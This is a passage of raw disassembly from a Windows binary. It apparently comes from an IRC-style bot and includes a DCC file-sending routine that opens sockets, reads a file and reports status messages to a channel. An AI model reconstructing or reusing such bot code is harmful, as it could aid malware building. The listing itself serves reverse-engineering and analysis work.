ebp mov dword ptr [esp+6Ch], 1 call sub_4019DD lea ecx, [esp+2Ch] mov edi, eax mov dword ptr [esp+64h], 0FFFFFFFFh call sub_401226 test edi, edi jz loc_40BC78 push edi lea ecx, [esp+18h] call sub_4014D3 mov ebx, 2 push 1 push offset asc_444600 ; " " lea eax, [esp+4Ch] push ebx push eax mov ecx, esi mov [esp+74h], ebx call sub_4011EA push eax push edi mov ecx, ebp mov byte ptr [esp+6Ch], 3 call sub_401F50 lea ecx, [esp+44h] mov [esp+64h], bl call sub_401226 lea ecx, [esp+14h] call sub_4017EE push eax mov ecx, edi call sub_4017EE push eax lea ecx, [edi+1Eh] call sub_4017EE push eax push offset aSSWasS ; "%s = \"%s\" [was \"%s\"]" lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 20h lea ecx, [esp+14h] mov dword ptr [esp+64h], 0FFFFFFFFh call sub_401226 mov al, 1 jmp short loc_40BC7A ; --------------------------------------------------------------------------- loc_40BC78: ; CODE XREF: ___:0040BB40j ; ___:0040BB97j ... xor al, al loc_40BC7A: ; CODE XREF: ___:0040BAEDj ; ___:0040BB80j ... mov ecx, [esp+5Ch] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 58h retn 4 ; --------------------------------------------------------------------------- db 90h db 0C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BD50 proc near ; CODE XREF: sub_401C08j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_4021EE sub_40BD50 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BD90 proc near ; CODE XREF: sub_40155Fj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401C85 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_40145B mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40124E mov edx, [esi+4] mov ecx, esi push edx call sub_401FEB sub_40BD90 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE00 proc near ; CODE XREF: sub_40145Bj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_402117 mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_4014B0 mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_40BE00 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE40 proc near ; CODE XREF: sub_401C85j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_4014B0 mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_40BE40 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BE70 proc near ; CODE XREF: sub_401915j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401C85 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401C5D sub_40BE70 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BEB0 proc near ; CODE XREF: sub_401C03j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401C85 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_40145B mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40124E pop esi add esp, 0Ch retn sub_40BEB0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BF00 proc near ; CODE XREF: sub_401546j push esi mov esi, ecx call sub_402158 mov eax, esi pop esi retn sub_40BF00 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BF20 proc near ; CODE XREF: sub_401F78j mov eax, [ecx] push eax call sub_401848 add esp, 4 retn sub_40BF20 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BF40 proc near ; CODE XREF: sub_40133Ej push esi mov esi, ecx mov eax, [esi] push eax call sub_402117 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_40BF40 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BF70 proc near ; CODE XREF: sub_40136Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401CFD neg al sbb eax, eax inc eax retn 4 sub_40BF70 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BFA0 proc near ; CODE XREF: sub_401C5Dj arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4016AE mov edi, eax push edi call sub_40215D mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_4021EE sub_40BFA0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_40215D push edi mov [eax], ebx call sub_40215D mov edi, [eax] push edi call sub_40215D mov ecx, [eax] push ecx call sub_402117 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401848 add esp, 4 mov ecx, esi push eax call sub_401F32 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_4014B0 mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C040 proc near ; CODE XREF: sub_40124Ej var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_40136B test al, al jz short loc_40C09A loc_40C058: ; CODE XREF: sub_40C040+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_401B9A mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40106E ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_40136B test al, al jnz short loc_40C058 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_40C09A: ; CODE XREF: sub_40C040+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_40C040 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C0D0 proc near ; CODE XREF: sub_4021EEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_401569 sub_40C0D0 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_40C0E5 mov edi, esi loc_40C0E5: ; CODE XREF: ___:0040C0E1j push esi call sub_402117 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_40C0FA mov edi, esi loc_40C0FA: ; CODE XREF: ___:0040C0F6j push esi call sub_40215D add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C120 proc near ; CODE XREF: sub_401FEBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_402077 sub_40C120 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C140 proc near ; CODE XREF: sub_402117j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_40C140 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C160 proc near ; CODE XREF: sub_401848j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_40C160 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C180 proc near ; CODE XREF: sub_402158j mov eax, ecx retn sub_40C180 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C1A0 proc near ; CODE XREF: sub_4014B0j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40105A mov eax, esi pop esi retn 4 sub_40C1A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C1D0 proc near ; CODE XREF: sub_401CFDj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_40C1D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C200 proc near ; CODE XREF: sub_40106Ej var_4 = byte ptr -4 arg_4 = byte ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_401B9A mov ecx, eax call sub_4016AE mov esi, eax push esi call sub_402117 push esi mov ebx, eax call sub_40215D mov ecx, [eax] push ecx call sub_402117 mov edx, [ebx] push esi mov [eax], edx call sub_40215D push esi mov ebx, eax call sub_402117 mov eax, [eax] push eax call sub_40215D mov ecx, [ebx] push esi mov [eax], ecx call sub_401848 add esp, 1Ch mov ecx, edi push eax call sub_401221 push esi mov ecx, edi call sub_401FEB sub_40C200 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C2C0 proc near ; CODE XREF: sub_40215Dj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_40C2C0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C2E0 proc near ; CODE XREF: sub_401569j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_40C2E0 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C310 proc near ; CODE XREF: sub_402077j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_40C310 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C330 proc near ; CODE XREF: sub_401F32j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4011AE add esp, 8 retn 8 sub_40C330 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C360 proc near ; CODE XREF: sub_40105Aj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_40C360 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C380 proc near ; CODE XREF: sub_4016AEj mov eax, [ecx] retn sub_40C380 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C3A0 proc near ; CODE XREF: sub_401B9Aj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40133E mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_40C3A0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C3D0 proc near ; CODE XREF: sub_401221j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_2 pop ecx retn 4 sub_40C3D0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C3F0 proc near ; CODE XREF: sub_4011AEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_40C40B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40C40B: ; CODE XREF: sub_40C3F0+11j retn sub_40C3F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C440 proc near ; CODE XREF: sub_401BF9j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40C440 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 4 push 0Eh push 5 push 13h push 4Fh push 3 push 3 lea eax, [esp+48h+var_24] push 4 mov esi, ecx push eax call sub_4019C4 add esp, 28h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_40168B add esi, 4 push eax push esi mov ecx, offset dword_449118 call sub_40159B sub_40C440 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C4E0 proc near ; CODE XREF: sub_40171Cj var_AB4 = dword ptr -0AB4h var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = byte ptr -0A9Ch var_A98 = byte ptr -0A98h var_A94 = dword ptr -0A94h var_A90 = dword ptr -0A90h var_A8C = dword ptr -0A8Ch var_A88 = dword ptr -0A88h var_A84 = dword ptr -0A84h var_A78 = byte ptr -0A78h var_A74 = dword ptr -0A74h var_A70 = byte ptr -0A70h var_A6C = byte ptr -0A6Ch var_A5C = byte ptr -0A5Ch var_A54 = byte ptr -0A54h var_A3C = byte ptr -0A3Ch var_A38 = byte ptr -0A38h var_A24 = byte ptr -0A24h var_A1C = dword ptr -0A1Ch var_A18 = dword ptr -0A18h var_910 = byte ptr -910h var_710 = byte ptr -710h var_510 = byte ptr -510h var_40C = byte ptr -40Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_40C4E0 push eax mov large fs:0, esp sub esp, 0AA0h add ecx, 4 push ebx push ebp push esi push edi call sub_4014DD mov ebp, [esp+0ABCh+arg_0] push eax lea ecx, [ebp+7Eh] call sub_4012EE test eax, eax jnz loc_40CA2E lea ecx, [esp+0ABCh+var_A78] call sub_401091 push 1 push offset asc_444600 ; " " lea eax, [esp+0AC4h+var_A3C] xor esi, esi push 1 push eax mov ecx, ebp mov [esp+0ACCh+var_4], esi call sub_4011EA push eax lea ecx, [esp+0AC0h+var_A70] mov byte ptr [esp+0AC0h+var_4], 1 call sub_40202C lea ecx, [esp+0ABCh+var_A3C] mov byte ptr [esp+0ABCh+var_4], 0 call sub_401226 push esi push 1 push 2 mov [esp+0AC8h+var_AA8], esi mov [esp+0AC8h+var_AA4], esi mov [esp+0AC8h+var_A90], esi nop call near ptr 71AB3B91h mov ebx, eax cmp ebx, 0FFFFFFFFh mov [esp+0ABCh+var_AAC], ebx jnz short loc_40C5AC lea ecx, [esp+0ABCh+var_710] push offset aDccFailedToCre ; "[DCC]: Failed to create socket." push ecx nop call sub_5F76F7 add esp, 8 jmp loc_40C9D5 ; --------------------------------------------------------------------------- loc_40C5AC: ; CODE XREF: sub_40C4E0+AFj xor edx, edx push esi mov [esp+0AC0h+var_AA0], edx mov word ptr [esp+0AC0h+var_AA0], 2 mov dword ptr [esp+0AC0h+var_A9C], edx mov dword ptr [esp+0AC0h+var_A98], edx mov [esp+0AC0h+var_A94], edx nop call near ptr 71AB2B66h mov word ptr [esp+0ABCh+var_AA0+2], ax lea eax, [esp+0ABCh+var_AA0] push 10h push eax push ebx mov dword ptr [esp+0AC8h+var_A9C], esi nop call near ptr 71AB3E00h test eax, eax jz short loc_40C5FA lea ecx, [ebp+69h] call sub_4014DD push eax push offset aDccFailedToBin ; "dcc: failed to bind socket" jmp loc_40C6A0 ; --------------------------------------------------------------------------- loc_40C5FA: ; CODE XREF: sub_40C4E0+105j lea eax, [esp+0ABCh+var_A88] lea ecx, [esp+0ABCh+var_AA0] push eax push ecx push ebx mov [esp+0AC8h+var_A88], 10h nop call near ptr 71AB951Eh mov edx, [esp+0ABCh+var_AA0+2] push edx nop call near ptr 71AB2B66h lea ecx, [esp+0ABCh+var_A70] mov [esp+0ABCh+var_A8C], eax call sub_4014DD mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+0ABCh+var_910] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 xor edx, edx rep movsb loc_40C653: ; CODE XREF: sub_40C4E0+1A3j mov al, [esp+edx+0ABCh+var_910] cmp al, 20h jnz short loc_40C665 mov eax, 5Fh jmp short loc_40C668 ; --------------------------------------------------------------------------- loc_40C665: ; CODE XREF: sub_40C4E0+17Cj movsx eax, al loc_40C668: ; CODE XREF: sub_40C4E0+183j mov [esp+edx+0ABCh+var_510], al lea edi, [esp+0ABCh+var_910] or ecx, 0FFFFFFFFh xor eax, eax inc edx repne scasb not ecx dec ecx cmp edx, ecx jbe short loc_40C653 push 1 push ebx call near ptr 71AB88D3h nop test eax, eax jz short loc_40C6BD lea ecx, [ebp+69h] call sub_4014DD push eax push offset aDccFailedToOpe ; "dcc: failed to open socket" loc_40C6A0: ; CODE XREF: sub_40C4E0+115j mov cl, [ebp+94h] mov dl, [ebp+93h] push ecx push edx mov ecx, offset byte_4D8075 call sub_401118 jmp loc_40C9CF ; --------------------------------------------------------------------------- loc_40C6BD: ; CODE XREF: sub_40C4E0+1B0j push 0 push 0 push 3 push 0 push 1 push 80000000h lea ecx, [esp+0AD4h+var_A70] call sub_4017EE push eax call near ptr 2850000h nop mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C724 lea ecx, [ebp+69h] call sub_4014DD mov cl, [ebp+93h] push eax mov al, [ebp+94h] push offset aDccFileDoesnTE ; "dcc: file doesn't exist" push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 lea edx, [esp+0ABCh+var_710] push offset aDccFileDoesn_0 ; "[DCC]: File doesn't exist." push edx nop call sub_5F76F7 add esp, 8 jmp loc_40C9CF ; --------------------------------------------------------------------------- loc_40C724: ; CODE XREF: sub_40C4E0+201j push 0 push esi call near ptr 2840B5Ch nop lea ecx, [esp+0ABCh+var_A54] mov ebx, eax call sub_40142E mov eax, [esp+0ABCh+var_A8C] push ebx and eax, 0FFFFh mov byte ptr [esp+0AC0h+var_4], 2 push eax mov eax, dword_4D808D push eax call sub_401E10 add esp, 4 push eax nop call near ptr 71AB2BF4h push eax nop call near ptr 71AB2BC0h push eax lea ecx, [esp+0AD0h+var_A78] call sub_4017EE push eax lea ecx, [esp+0AD4h+var_A5C] push offset dword_444A00 push ecx call sub_40102D add esp, 18h lea ecx, [ebp+15h] call sub_40168B push eax lea ecx, [esp+0AC8h+var_A5C] call sub_4014DD mov dl, [ebp+94h] push eax mov al, [ebp+93h] push edx push eax mov ecx, offset byte_4D8075 call sub_401118 mov edi, [esp+0AC4h+var_AB4] lea ecx, [esp+0AC4h+var_A88] push ecx push 0 lea edx, [esp+0ACCh+var_A1C] push 0 push edx push 0 mov [esp+0AD8h+var_A88], 3Ch mov [esp+0AD8h+var_A84], 0 mov [esp+0AD8h+var_A18], edi mov [esp+0AD8h+var_A1C], 1 nop call near ptr 71AB2DC0h test eax, eax jg short loc_40C81D lea ecx, [ebp+69h] call sub_4014DD mov cl, [ebp+93h] push eax mov al, [ebp+94h] push offset aDccTimeout ; "dcc: timeout" push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 jmp loc_40C9BA ; --------------------------------------------------------------------------- loc_40C81D: ; CODE XREF: sub_40C4E0+310j lea edx, [esp+0ABCh+var_A84] lea eax, [esp+0ABCh+var_A24] push edx push eax push edi mov [esp+0AC8h+var_A84], 10h call near ptr 71AC1028h nop cmp eax, 0FFFFFFFFh mov [esp+0ABCh+var_A74], eax jnz short loc_40C86D lea ecx, [ebp+69h] call sub_4014DD mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push offset aDccUnableToOpe ; "dcc: unable to open socket" push ecx push edx mov ecx, offset byte_4D8075 call sub_401118 jmp loc_40C9BA ; --------------------------------------------------------------------------- loc_40C86D: ; CODE XREF: sub_40C4E0+360j push edi nop call near ptr 71AB9639h test ebx, ebx jz loc_40C925 loc_40C87C: ; CODE XREF: sub_40C4E0+438j mov ebp, 400h cmp ebx, ebp jge short loc_40C887 mov ebp, ebx loc_40C887: ; CODE XREF: sub_40C4E0+3A3j mov edx, ebx xor eax, eax neg edx push 2 mov ecx, 100h lea edi, [esp+0AC0h+var_40C] push eax push edx push esi rep stosd nop call near ptr 2840000h lea eax, [esp+0ABCh+var_A90] push 0 push eax lea ecx, [esp+0AC4h+var_40C] push ebp push ecx push esi call near ptr 283094Ah nop mov eax, [esp+0ABCh+var_A74] push 0 lea edx, [esp+0AC0h+var_40C] push ebp push edx push eax nop call near ptr 71AB428Ah mov ecx, [esp+0ABCh+var_AA8] mov ebp, [esp+0ABCh+var_AA4] mov edi, eax push 0 cdq add ecx, eax push 400h mov [esp+0AC4h+var_AA8], ecx lea ecx, [esp+0AC4h+var_40C] adc ebp, edx mov edx, [esp+0AC4h+var_A74] push ecx push edx mov [esp+0ACCh+var_AA4], ebp call near ptr 71AB615Ah nop cmp eax, 1 jl loc_40C9EE cmp edi, 1 jl loc_40C9EE sub ebx, edi jnz loc_40C87C mov ebp, [esp+0ABCh+arg_0] loc_40C925: ; CODE XREF: sub_40C4E0+396j push esi call near ptr 283061Dh nop lea ecx, [esp+0AB8h+var_A38] call sub_40142E mov eax, [esp+0AB8h+var_AA0] mov ecx, [esp+0AB8h+var_AA4] push eax push ecx lea ecx, [esp+0AC0h+var_A6C] mov byte ptr [esp+0AC0h], 3 call sub_4014DD mov edx, [esp+0AC0h+var_A1C] push eax push edx nop call near ptr 71AB3F41h push eax lea eax, [esp+0ACCh+var_A3C] push offset aDccCompleteToS ; "dcc: complete to %s, file: %s, (%d byte"... push eax call sub_40102D add esp, 18h lea ecx, [ebp+69h] call sub_4014DD push eax lea ecx, [esp+0AC0h+var_A3C] call sub_4014DD mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push ecx push edx mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+0ABCh+var_A3C] mov byte ptr [esp+0ABCh+var_4], 2 call sub_401226 loc_40C9BA: ; CODE XREF: sub_40C4E0+338j ; sub_40C4E0+388j lea ecx, [esp+0ABCh+var_A54] mov byte ptr [esp+0ABCh+var_4], 0 call sub_401226 mov ebx, [esp+0ABCh+var_AAC] loc_40C9CF: ; CODE XREF: sub_40C4E0+1D8j ; sub_40C4E0+23Fj xor esi, esi cmp ebx, esi jbe short loc_40C9DC loc_40C9D5: ; CODE XREF: sub_40C4E0+C7j push ebx nop call near ptr 71AB9639h loc_40C9DC: ; CODE XREF: sub_40C4E0+4F3j mov eax, [esp+0ABCh+var_A74] push eax nop call near ptr 71AB9639h push esi nop call near ptr 2830000h loc_40C9EE: ; CODE XREF: sub_40C4E0+427j ; sub_40C4E0+430j mov esi, [esp+0ABCh+arg_0] lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push offset aDccSocketError ; "dcc: socket error" push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 mov edx, [esp+0ABCh+var_A74] push edx nop call near ptr 71AB9639h push 1 nop call near ptr 2830000h loc_40CA2E: ; CODE XREF: sub_40C4E0+39j mov ecx, [esp+0ABCh+var_C] pop edi pop esi pop ebp xor al, al pop ebx mov large fs:0, ecx add esp, 0AACh retn 4 sub_40C4E0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CBB0 proc near ; CODE XREF: sub_401091j push esi mov esi, ecx lea ecx, [esi+8] call sub_40142E mov eax, esi pop esi retn sub_40CBB0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40CBD0: ; CODE XREF: ___:loc_401B13j add ecx, 8 jmp sub_401226 ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40CBF0 proc near ; CODE XREF: sub_402063j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40CBF0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 5 push 0Ch push 9 lea eax, [esp+38h+var_24] push 6 mov esi, ecx push eax call sub_4019C4 add esp, 18h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_4017EE add esi, 4 push eax push esi mov ecx, offset dword_449118 call sub_40159B sub_40CBF0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CC90 proc near ; CODE XREF: sub_401BB8j var_279 = byte ptr -279h var_278 = byte ptr -278h var_260 = dword ptr -260h var_25C = dword ptr -25Ch var_258 = byte ptr -258h var_247 = byte ptr -247h var_232 = byte ptr -232h var_221 = dword ptr -221h var_21D = dword ptr -21Dh var_219 = dword ptr -219h var_215 = dword ptr -215h var_211 = dword ptr -211h var_20C = byte ptr -20Ch var_208 = byte ptr -208h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_40CC90 push eax mov large fs:0, esp sub esp, 270h add ecx, 4 push esi call sub_4014DD mov esi, [esp+280h+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_40CE91 push ebx lea ecx, [esp+284h+var_260] call sub_40199C lea eax, [esi+2Ah] xor ebx, ebx push eax lea ecx, [esp+288h+var_25C] mov [esp+288h+var_4], ebx mov [esp+288h+var_260], ebx call sub_40202C push 1 push offset asc_444600 ; " " lea ecx, [esp+28Ch+var_278] push 2 push ecx mov ecx, esi call sub_4011EA mov ecx, eax mov byte ptr [esp+284h+var_4], 1 call sub_4017EE push eax lea ecx, [esp+288h+var_247] call sub_401A9B lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl call sub_401226 push 1 push offset asc_444600 ; " " lea edx, [esp+28Ch+var_278] push 3 push edx mov ecx, esi call sub_4011EA mov ecx, eax mov byte ptr [esp+284h+var_4], 2 call sub_4017EE push eax lea ecx, [esp+288h+var_232] call sub_401A9B lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl call sub_401226 mov edx, [esp+284h+var_221] xor eax, eax mov al, [esi+94h] xor ecx, ecx mov cl, [esi+93h] mov [esp+284h+var_219], eax lea eax, [esp+284h+var_278] mov [esp+284h+var_215], ecx push edx push eax lea ecx, [esp+28Ch+var_232] mov [esp+28Ch+var_21D], ebx mov [esp+28Ch+var_211], 1 